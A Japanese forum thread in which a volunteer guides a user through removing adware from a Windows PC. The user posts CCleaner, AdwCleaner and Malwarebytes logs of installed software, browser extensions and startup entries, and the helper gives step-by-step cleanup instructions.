  • 2015/03/28 (Sat) 06:40:32
Re: salusの駆除をお助けください
有効 App Gmail 8 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8_1
有効 App Google ドライブ 6.4 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_1
有効 App Google 検索 0.0.0.20 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.20_1
有効 App YouTube 4.2.7 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_1
有効 Extension Google スプレッドシート 1.1 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0
有効 Extension Google スライド 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0
有効 Extension Google ドキュメント 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0
無効 Extension Logicool SetPoint 6.52.74 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\edaibbiobngpbmeonadpbfafbkimjbdd\6.52.74_0
  • mari
  • 2015/03/28 (Sat) 06:40:53
Re: salusの駆除をお助けください
有効 Task CCleanerSkipUAC Piriform Ltd "C:\Program Files\CCleaner\CCleaner.exe" $(Arg0)
有効 Task GoogleUpdateTaskMachineCore Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task SidebarExecute Microsoft Corporation C:\Program Files\Windows Sidebar\sidebar.exe /addGadget
有効 Task Uninstaller_SkipUac_Tomohiko IObit C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUninstaler.exe /UninstallExplorer
有効 Task {8BFB521B-29F0-44D0-ABF2-A6CE12212065} Microsoft Corporation C:\Windows\system32\pcalua.exe -a C:\PROGRA~2\COMMON~1\INSTAL~1\Driver\9\INTEL3~1\IDriver.exe -c /M{532F6E8A-AF97-41C3-915F-39F718EC07D1} /l1041
  • mari
  • 2015/03/28 (Sat) 06:41:14
Re: salusの駆除をお助けください
おはようございます。
OTLの片付けも完了いたしまして、
HJTとインストール情報ログと、CCでの各タブのログを取り直して、
上記に貼らせて頂きました。
引き続き、お手数をおかけ致しますが
ご確認の程、何卒宜しくお願い致します。
  • mari
  • 2015/03/28 (Sat) 06:43:14
ログがひとつ見えませんが
作業と報告、ご苦労様です。
その後のログを見せてもらいましたが、あとひとつインストール情報ログが出てないようですね。

。。。は、もしや、バカには見えないログ!?

ということで、お手数ですが再度CCを使って、今度はバカでも見えるインストール情報ログをとったら、このログも追加で見せてください。

ログを見たところ、まだ少し残っているものがあるので、情報ログも確認してから続きの作業しましょう
  • 悪代官
  • 2015/03/28 (Sat) 18:34:15
Re: salusの駆除をお助けください
大変失礼いたしました!!
インストール情報ログを下記へ貼らせて頂きます。

3DMark Futuremark 2013/05/25 1.1
3DMark 11 Futuremark Corporation 2013/03/23 1.0.4
3DMark Vantage Futuremark Corporation 2013/03/23 1.1.0
Adobe AIR Adobe Systems Incorporated 2015/03/28 3.1.0.4880
Adobe Creative Suite 6 Production Premium Adobe Systems Incorporated 2015/03/28 3.57 GB 6
Adobe Help Manager Adobe Systems Incorporated 2015/03/28 4.0.244
Apple Application Support(32 ビット) Apple Inc. 2015/03/15 94.2 MB 3.1.2
Apple Application Support(64 ビット) Apple Inc. 2015/03/15 107 MB 3.1.2
Apple Mobile Device Support Apple Inc. 2015/03/15 27.9 MB 8.1.1.3
Apple Software Update Apple Inc. 2013/11/24 2.38 MB 2.1.3.127
ASRock 3TB+ Unlocker v1.1 ASRock Inc. 2014/05/02 1.23 MB
ASRock App Charger v1.0.6 ASRock Inc. 2014/05/02 1.32 MB 1.0.6
ASRock eXtreme Tuner v0.1.382.1 2014/05/02 45.9 MB
ASRock InstantBoot v1.29 2014/05/02
ASRock XFast RAM v2.0.28 ASRock Inc. 2014/05/02 11.9 MB
Bonjour Apple Inc. 2013/11/24 2.00 MB 3.0.0.10
Broadcom NetLink Controller Broadcom Corporation 2015/03/15 508 KB 14.8.5.1
CCleaner Piriform 2015/03/21 5.03
CPUID ROG CPU-Z 1.63 CPUID, Inc. 2013/03/22 6.69 MB 1.63
Creative システム インフォメーション Creative Technology Limited 2015/03/28 1.10
CSR Harmony Wireless Software Stack CSR Plc. 2014/05/24 163 MB 2.1.63.0
CyberLink Power2Go 8 CyberLink Corp. 2013/06/29 324 MB 8.0.0.2126b
CyberLink PowerDVD 14 CyberLink Corp. 2015/03/28 439 MB 14.0.4223.58
CyberLink WaveEditor 2 CyberLink Corp. 2013/06/29 35.0 MB 2.0.0.3206
DivXセットアップ DivX, LLC 2015/03/28 2.7.0.31
DVD Decrypter (Remove Only) 2015/03/28
FINAL FANTASY XIV - A Realm Reborn SQUARE ENIX CO., LTD. 2013/08/17 1.0.0000
Futuremark SystemInfo Futuremark Corporation 2013/05/25 4.17.0
Google Chrome Google Inc. 2015/03/21 41.0.2272.101
Intel(R) Management Engine Components Intel Corporation 2013/03/20 7.1.21.1134
IObit Uninstaller IObit 2015/02/18 4.2.6.2
iTunes Apple Inc. 2015/03/15 234 MB 12.1.1.4
MagicDisc 2.7.106 2015/03/28
Malwarebytes Anti-Malware version 1.75.0.1300 Malwarebytes Corporation 2015/03/23 19.2 MB 1.75.0.1300
Microsoft .NET Framework 4.5.2 Microsoft Corporation 2015/01/25 38.8 MB 4.5.51209
Microsoft .NET Framework 4.5.2 (日本語) Microsoft Corporation 2015/01/31 2.93 MB 4.5.51209
Microsoft Office Professional Plus 2010 Microsoft Corporation 2015/03/28 14.0.7015.1000
Microsoft Security Essentials Microsoft Corporation 2015/02/28 4.7.205.0
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2013/03/20 300 KB 8.0.59193
Microsoft Visual C++ 2005 Redistributable (x64) Microsoft Corporation 2013/04/13 572 KB 8.0.61000
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.6161
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/03/31 240 KB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 Microsoft Corporation 2013/03/20 596 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2013/03/20 600 KB 9.0.30729.6161
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 13.8 MB 10.0.40219
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 15.0 MB 10.0.40219
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Microsoft Corporation 2015/02/28 10.0.50903
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語 Microsoft Corporation 2015/02/28 10.0.50903
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2013/09/01 1.27 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2013/09/01 1.33 MB 4.20.9876.0
NVIDIA 3D Vision コントローラー ドライバー 332.21 NVIDIA Corporation 2014/10/12 332.21
NVIDIA 3D Vision ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
NVIDIA HD オーディオ ドライバー 1.3.30.1 NVIDIA Corporation 2014/10/12 1.3.30.1
NVIDIA nView 141.13 NVIDIA Corporation 2014/10/12 141.13
NVIDIA WMI 2.16.0 NVIDIA Corporation 2014/10/12 2.16.0
NVIDIA グラフィックス ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
QuickTime 7 Apple Inc. 2014/05/22 70.2 MB 7.75.80.95
Sound Blaster EVO Zx/ZxR Creative Technology Limited 2013/10/27 92.6 MB 1.01.01
Sound Blaster EVO Zx/ZxR Extras Creative Technology Limited 2015/03/28 1.0
Sound Blaster Recon3Di Creative Technology Limited 2013/03/23 67.9 MB 1.00.17
Sound Blaster Recon3Di Extras Creative Technology Limited 2015/03/28 1.0
SoundEngine Free Coderium 2013/06/18 5.1.0.5
TI USB 3.0 Host Controller Driver 会社名 2013/03/20 1.03 MB 1.12.9.0
Windows Live Essentials Microsoft Corporation 2014/02/26 16.4.3522.0110
WinRAR アーカイバ 2015/03/28
XFast LAN v9.05 cFos Software GmbH, Bonn 2014/05/02 9.05
XFastUSB ASRock Inc. 2015/03/28 3.02.38
スタートアップツール 東日本電信電話株式会社 2014/11/08 2.61 MB 7.3
リモートサポートツール 東日本電信電話株式会社 2014/11/08
ロジクール SetPoint 6.52 ロジクール 2013/03/20 39.0 MB 6.52.74
日本語 App Name Adobe Systems Incorporated 2015/03/28 1.8
診断復旧ツール 東日本電信電話株式会社 2014/11/08 23.2 MB
  • mari
  • 2015/03/28 (Sat) 18:50:46
ではAdobeの入れなおしを
早速のレス、ありがとうございます。
今度のログはバカでも見えました。
ではまた次の作業をお願いします。

まずCC起動して「Firefox」タブ内の下記を右クリックからともに「無効」にしたあと「エントリの削除」してください。
>無効 Extension Freemake Video Converter Plugin 1.0.0 Ellora Assets Corporation default D:\Program Files (x86)\Freemake\Freemake Video Converter\BrowserPlugin\Firefox
>有効 Plugin Shockwave Flash 11.9.900.170 default C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_9_900_170.dll

無効にできないときはそのまま削除でもいいです。

CCを終了後、今度はFirefox起動してAdobe公式サイトに行って、FlashPlayer最新版をダウンロード、インストールしてください。
https://get.adobe.com/flashplayer/?loc=jp&promoid=BUIGP

これのインストールできたら次はIEでも同ページに行って、IE版Flashを入れてください。
これで両ブラウザともFlashが最新版になるはずです。

ここまでできたら一度PC再起動後、またインストール情報ログと、CCでの「FF」タブログだけ取り直して、それを再度見せてください
  • 悪代官
  • 2015/03/28 (Sat) 19:26:39
Re: salusの駆除をお助けください
早速のご確認有難うございます!!
CCにてエントリの削除を試みたのですが削除の項目が選べませんでした。
また、「Firefox」の導入をしておりませんでしたので
改めて導入いたしました。
※導入後CCにて確認をしたら削除対象のエントリが一覧から無くなっておりました
その後、Flashをインストールさせて頂きました。
ログは下記の通りです。
大変恐れ入りますが、ご確認お願い致します。


3DMark Futuremark 2013/05/25 1.1
3DMark 11 Futuremark Corporation 2013/03/23 1.0.4
3DMark Vantage Futuremark Corporation 2013/03/23 1.1.0
Adobe AIR Adobe Systems Incorporated 2015/03/28 3.1.0.4880
Adobe Creative Suite 6 Production Premium Adobe Systems Incorporated 2015/03/28 3.57 GB 6
Adobe Flash Player 17 ActiveX Adobe Systems Incorporated 2015/03/28 6.00 MB 17.0.0.134
Adobe Flash Player 17 NPAPI Adobe Systems Incorporated 2015/03/28 6.00 MB 17.0.0.134
Adobe Help Manager Adobe Systems Incorporated 2015/03/28 4.0.244
Apple Application Support(32 ビット) Apple Inc. 2015/03/15 94.2 MB 3.1.2
Apple Application Support(64 ビット) Apple Inc. 2015/03/15 107 MB 3.1.2
Apple Mobile Device Support Apple Inc. 2015/03/15 27.9 MB 8.1.1.3
Apple Software Update Apple Inc. 2013/11/24 2.38 MB 2.1.3.127
ASRock 3TB+ Unlocker v1.1 ASRock Inc. 2014/05/02 1.23 MB
ASRock App Charger v1.0.6 ASRock Inc. 2014/05/02 1.32 MB 1.0.6
ASRock eXtreme Tuner v0.1.382.1 2014/05/02 45.9 MB
ASRock InstantBoot v1.29 2014/05/02
ASRock XFast RAM v2.0.28 ASRock Inc. 2014/05/02 11.9 MB
Bonjour Apple Inc. 2013/11/24 2.00 MB 3.0.0.10
Broadcom NetLink Controller Broadcom Corporation 2015/03/15 508 KB 14.8.5.1
CCleaner Piriform 2015/03/21 5.03
CPUID ROG CPU-Z 1.63 CPUID, Inc. 2013/03/22 6.69 MB 1.63
Creative システム インフォメーション Creative Technology Limited 2015/03/28 1.10
CSR Harmony Wireless Software Stack CSR Plc. 2014/05/24 163 MB 2.1.63.0
CyberLink Power2Go 8 CyberLink Corp. 2013/06/29 324 MB 8.0.0.2126b
CyberLink PowerDVD 14 CyberLink Corp. 2015/03/28 439 MB 14.0.4223.58
CyberLink WaveEditor 2 CyberLink Corp. 2013/06/29 35.0 MB 2.0.0.3206
DivXセットアップ DivX, LLC 2015/03/28 2.7.0.31
DVD Decrypter (Remove Only) 2015/03/28
FINAL FANTASY XIV - A Realm Reborn SQUARE ENIX CO., LTD. 2013/08/17 1.0.0000
Futuremark SystemInfo Futuremark Corporation 2013/05/25 4.17.0
Google Chrome Google Inc. 2015/03/21 41.0.2272.101
Intel(R) Management Engine Components Intel Corporation 2013/03/20 7.1.21.1134
IObit Uninstaller IObit 2015/02/18 4.2.6.2
iTunes Apple Inc. 2015/03/15 234 MB 12.1.1.4
MagicDisc 2.7.106 2015/03/28
Malwarebytes Anti-Malware version 1.75.0.1300 Malwarebytes Corporation 2015/03/23 19.2 MB 1.75.0.1300
Microsoft .NET Framework 4.5.2 Microsoft Corporation 2015/01/25 38.8 MB 4.5.51209
Microsoft .NET Framework 4.5.2 (日本語) Microsoft Corporation 2015/01/31 2.93 MB 4.5.51209
Microsoft Office Professional Plus 2010 Microsoft Corporation 2015/03/28 14.0.7015.1000
Microsoft Security Essentials Microsoft Corporation 2015/02/28 4.7.205.0
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2013/03/20 300 KB 8.0.59193
Microsoft Visual C++ 2005 Redistributable (x64) Microsoft Corporation 2013/04/13 572 KB 8.0.61000
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.6161
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/03/31 240 KB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 Microsoft Corporation 2013/03/20 596 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2013/03/20 600 KB 9.0.30729.6161
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 13.8 MB 10.0.40219
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 15.0 MB 10.0.40219
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Microsoft Corporation 2015/02/28 10.0.50903
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語 Microsoft Corporation 2015/02/28 10.0.50903
Mozilla Firefox 36.0.4 (x86 ja) Mozilla 2015/03/28 84.5 MB 36.0.4
Mozilla Maintenance Service Mozilla 2015/03/28 247 KB 36.0.4
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2013/09/01 1.27 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2013/09/01 1.33 MB 4.20.9876.0
NVIDIA 3D Vision コントローラー ドライバー 332.21 NVIDIA Corporation 2014/10/12 332.21
NVIDIA 3D Vision ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
NVIDIA HD オーディオ ドライバー 1.3.30.1 NVIDIA Corporation 2014/10/12 1.3.30.1
NVIDIA nView 141.13 NVIDIA Corporation 2014/10/12 141.13
NVIDIA WMI 2.16.0 NVIDIA Corporation 2014/10/12 2.16.0
NVIDIA グラフィックス ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
QuickTime 7 Apple Inc. 2014/05/22 70.2 MB 7.75.80.95
Sound Blaster EVO Zx/ZxR Creative Technology Limited 2013/10/27 92.6 MB 1.01.01
Sound Blaster EVO Zx/ZxR Extras Creative Technology Limited 2015/03/28 1.0
Sound Blaster Recon3Di Creative Technology Limited 2013/03/23 67.9 MB 1.00.17
Sound Blaster Recon3Di Extras Creative Technology Limited 2015/03/28 1.0
SoundEngine Free Coderium 2013/06/18 5.1.0.5
TI USB 3.0 Host Controller Driver 会社名 2013/03/20 1.03 MB 1.12.9.0
Windows Live Essentials Microsoft Corporation 2014/02/26 16.4.3522.0110
WinRAR アーカイバ 2015/03/28
XFast LAN v9.05 cFos Software GmbH, Bonn 2014/05/02 9.05
XFastUSB ASRock Inc. 2015/03/28 3.02.38
スタートアップツール 東日本電信電話株式会社 2014/11/08 2.61 MB 7.3
リモートサポートツール 東日本電信電話株式会社 2014/11/08
ロジクール SetPoint 6.52 ロジクール 2013/03/20 39.0 MB 6.52.74
日本語 App Name Adobe Systems Incorporated 2015/03/28 1.8
診断復旧ツール 東日本電信電話株式会社 2014/11/08 23.2 MB

無効 Extension Logitech SetPoint 6.5 Logitech Inc. default Firefox 36.0.4 C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt
有効 Extension ProSShoppeR 4.87 default Firefox 36.0.4 C:\Users\Tomohiko\AppData\Roaming\Mozilla\Firefox\Profiles\s0lzp1yr.default\extensions\K4@Q6.edu
有効 Extension soaverebox 5.1 default Firefox 36.0.4 C:\Users\Tomohiko\AppData\Roaming\Mozilla\Firefox\Profiles\s0lzp1yr.default\extensions\KH@Jfnz0aM.org
有効 Plugin DivX Plus Web Player 3.2.4.1250 DivX, LLC default Firefox 36.0.4 C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll
有効 Plugin DivX VOD Helper Plug-in 1.1.0.14 DivX, LLC. default Firefox 36.0.4 C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll
有効 Plugin Google Update 1.3.26.9 Google Inc. default Firefox 36.0.4 C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 36.0.4 C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.250.17 10.25.2.17 Oracle Corporation default Firefox 36.0.4 C:\Windows\SysWOW64\npDeployJava1.dll
有効 Plugin Microsoft Office 2010 14.0.4730.1010 Microsoft Corporation default Firefox 36.0.4 D:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL
有効 Plugin Microsoft Office 2010 14.0.4761.1000 Microsoft Corporation default Firefox 36.0.4 D:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL
有効 Plugin NVIDIA 3D Vision 7.17.13.3311 NVIDIA Corporation default Firefox 36.0.4 C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll
有効 Plugin NVIDIA 3D VISION 7.17.13.3311 NVIDIA Corporation default Firefox 36.0.4 C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll
有効 Plugin QuickTime Plug-in 7.7.5 7.7.5.0 Apple Inc. default Firefox 36.0.4 D:\Program Files (x86)\QuickTime\Plugins\npqtplugin5.dll
無効 Plugin Shockwave Flash 17.0.0.134 Adobe Systems Incorporated default Firefox 36.0.4 C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_17_0_0_134.dll
  • mari
  • 2015/03/28 (Sat) 21:21:52
また入り込まれてますよ
作業と報告、ご苦労様です。

>CCにてエントリの削除を試みたのですが削除の項目が選べませんでした。
>また、「Firefox」の導入をしておりませんでしたので
>改めて導入いたしました。
>※導入後CCにて確認をしたら削除対象のエントリが一覧から無くなっておりました
>その後、Flashをインストールさせて頂きました。

はい、FFの拡張に食い込んだエントリが中途半端になっていた状態ですね。
この異常はFFを再インストールすることで対処可能ですが、そちらでちょうど自力対処されたのでいいです。

ですが続きのログを見るとまた食らってますね。
とりあえずCCでFFタブのログ開いてから、下記のエントリをまた無効と削除してください。
>有効 Extension ProSShoppeR 4.87 default Firefox 36.0.4 C:\Users\Tomohiko\AppData\Roaming\Mozilla\Firefox\Profiles\s0lzp1yr.default\extensions\K4@Q6.edu
>有効 Extension soaverebox 5.1 default Firefox 36.0.4 C:\Users\Tomohiko\AppData\Roaming\Mozilla\Firefox\Profiles\s0lzp1yr.default\extensions\KH@Jfnz0aM.org

これができたらまた先に使ったACとMBAMを用意して、それでスキャンと処置してください。

処置が済んだら再度両ツールのログをレスください
  • 悪代官
  • 2015/03/28 (Sat) 22:28:37
Re: salusの駆除をお助けください
おはようございます
引き続き、レスを頂き有難うございます!
・CCでFFタブのログ開いてからのエントリをまた無効と削除
・ACとMBAMでスキャンと処置
が完了致しました。

# AdwCleaner v4.113 - ログファイルの作成日 28/03/2015 作成時間 23:07:08
# 更新日 22/03/2015 作成元 Xplode
# データベース : 2015-03-22.2 [ローカル]
# オペレーティングシステム : Windows 7 Ultimate Service Pack 1 (x64)
# ユーザー名 : Tomohiko - TOMOHIKO-PC
# 実行場所 : C:\Users\Tomohiko\Downloads\AdwCleaner.exe
# オプション : 削除

***** [ サービス ] *****


***** [ ファイル / フォルダ ] *****


***** [ スケジュールタスク ] *****


***** [ ショートカット ] *****


***** [ レジストリ ] *****

キー 削除済み項目 : HKCU\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
キー 削除済み項目 : HKLM\SOFTWARE\f99781bf-cdf0-8c9a-7dd9-7f62769f79c9
値 削除済み項目 : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA}]

***** [ Webブラウザ ] *****

-\\ Internet Explorer v11.0.9600.17631


-\\ Mozilla Firefox v36.0.4 (x86 ja)


-\\ Google Chrome v41.0.2272.101

[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.bigseekpro.com/search/toolbar/hao123/%7B8949DC7C-5E89-31EB-1A92-8BC4DCFF44A0%7D?q={searchTerms}
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.bigseekpro.com/search/toolbar/hao123/%7B8949DC7C-5E89-31EB-1A92-8BC4DCFF44A0%7D?q={searchTerms}
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.softonic.jp/s/{searchTerms}
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://websearch.helpmefindyour.info/?l=1&q={searchTerms}&pid=34&r=2013/04/13&hid=2024807674&lg=EN&cc=JP
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www1.delta-search.com/?q={searchTerms}&affID=121428&babsrc=SP_ss&mntrId=620FBC5FF49688F9
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.trovi.com/Results.aspx?gd=&ctid=CT3320136&octid=EB_ORIGINAL_CTID&ISID=A31FBD17-0563-4F0E-96E4-ECC4DB7EE714&SearchSource=58&CUI=&UM=8&UP=SP3EEE2A03-8BE6-449B-B0EB-55DB58E4C083&q={searchTerms}&SSPV=

*************************

AdwCleaner[R0].txt - [2461 bytes] - [28/03/2015 23:04:10]
AdwCleaner[R1].txt - [2520 bytes] - [28/03/2015 23:05:58]
AdwCleaner[S0].txt - [2439 bytes] - [28/03/2015 23:07:08]

########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [2498 bytes] ##########


Malwarebytes Anti-Malware (試用) 1.75.0.1300
www.malwarebytes.org

定義バージョン: v2015.03.28.03

Windows 7 Service Pack 1 x64 NTFS (セーフモード)
Internet Explorer 11.0.9600.17633
Tomohiko :: TOMOHIKO-PC [管理者]

リアルタイム保護: 無効

2015/03/28 23:10:51
mbam-log-2015-03-28 (23-10-51).txt

スキャンタイプ: フルスキャン (C:\|D:\|E:\|H:\|)
有効なスキャン領域: メモリ | スタートアップ | レジストリ | ファイルシステム | ヒューリスティック/追加アイテムのスキャン  | ヒューリスティック/Shuriken エンジンを使用してスキャン  | 不審なプログラム (PUP) | 不審な変更 (PUM)
無効なスキャン領域: ピア・ツー・ピアプログラム(P2P)
スキャンしたアイテム数: 619911
経過時間: 35 分, 9 秒

メモリプロセスの検出: 0
(悪意のあるアイテムは検出されていません。)

メモリモジュールの検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリキーの検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリ値の検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリデータ項目の検出: 0
(悪意のあるアイテムは検出されていません。)

フォルダの検出: 2
C:\Users\Public\Documents\ShopperPro (PUP.Optional.ShopperPro.A) -> 正常に隔離され削除されました。
C:\Users\Public\Documents\ShopperPro\JsDriver (PUP.Optional.ShopperPro.A) -> 正常に隔離され削除されました。

ファイルの検出: 1
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (PUP.Optional.ShopperPro.A) -> 正常に隔離され削除されました。

(終)

ご確認お願い申し上げます!!
  • mari
  • 2015/03/29 (Sun) 05:32:24
Firefox以外のタブのログも見てみましょう
おはようございます。
再度のACとMBAMログを見たところ、やはり色々見つかってます。
先の処置後にまた入り込まれたようですね。
ではまた説明を読んでから、次の作業をお願いします。

まず一度状況を再確認します。
CCで「Windows」以下の各タブのログを取り直して、またそれを見せてください。
Firefox以外の拡張設定にも食い込んでいる疑いがあるので、それも含めて全体を調べてから次の対処にかかりましょう
  • 悪代官
  • 2015/03/29 (Sun) 06:59:18
Re: salusの駆除をお助けください
いつもお早いお返事、感謝申し上げます!
また、入り込んでしまったのですね…
以下にログを貼らせて頂きます。
ご確認お願い致します!!

<Windows>
有効 HKCU:Run AdobeBridge
有効 HKCU:Run ASRockXTU
有効 HKCU:Run CCleaner Monitoring Piriform Ltd "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
有効 HKCU:Run Power2GoExpress8 NA
有効 HKCU:Run zASRockInstantBoot
有効 HKLM:Run AdobeAAMUpdater-1.0 Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
有効 HKLM:Run AdobeCS6ServiceManager Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CLMLServer_For_P2G8 CyberLink "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
有効 HKLM:Run CLVirtualDrive CyberLink Corp. "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
有効 HKLM:Run Creative SB Monitoring Utility Launcher RunDll32 SBAVMonL.dll,SBAVMonitorLauncher
有効 HKLM:Run CsrAudioguiCtrl Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrAudioguiCtrl.exe
有効 HKLM:Run CSRHarmonySkypePlugin Cambridge Silicon Radio Limited C:\Program Files (x86)\CSR\CSR Harmony Wireless Software Stack\CSRHarmonySkypePlugin.exe
有効 HKLM:Run CsrHCRPServer Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrHCRPServer.exe
有効 HKLM:Run CsrSyncMLServer Cambridge Silicon Radio Ltd. D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrSyncMLServer.exe
有効 HKLM:Run DivXMediaServer DivX, LLC C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
有効 HKLM:Run DivXUpdate DivX, LLC "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
有効 HKLM:Run EvtMgr6 Logicool, Inc. C:\Program Files\Logicool\SetPointP\SetPoint.exe /launchGaming
有効 HKLM:Run HarmonyUserStartup Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\HarmonyUserStartup.exe
有効 HKLM:Run iTunesHelper Apple Inc. "C:\Program Files\iTunes\iTunesHelper.exe"
有効 HKLM:Run MSC Microsoft Corporation "C:\Program Files\Microsoft Security Client\msseces.exe" -hide -runkey
有効 HKLM:Run NTTE_OSA_AUS 東日本電信電話株式会社 "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
有効 HKLM:Run nwiz NVIDIA Corporation C:\Program Files\NVIDIA Corporation\nview\nwiz.exe /installquiet
有効 HKLM:Run PowerDVD14Agent CyberLink Corp. "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
有効 HKLM:Run QuickTime Task Apple Inc. "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
有効 HKLM:Run Sound Blaster EVO Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
有効 HKLM:Run Sound Blaster Recon3Di Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
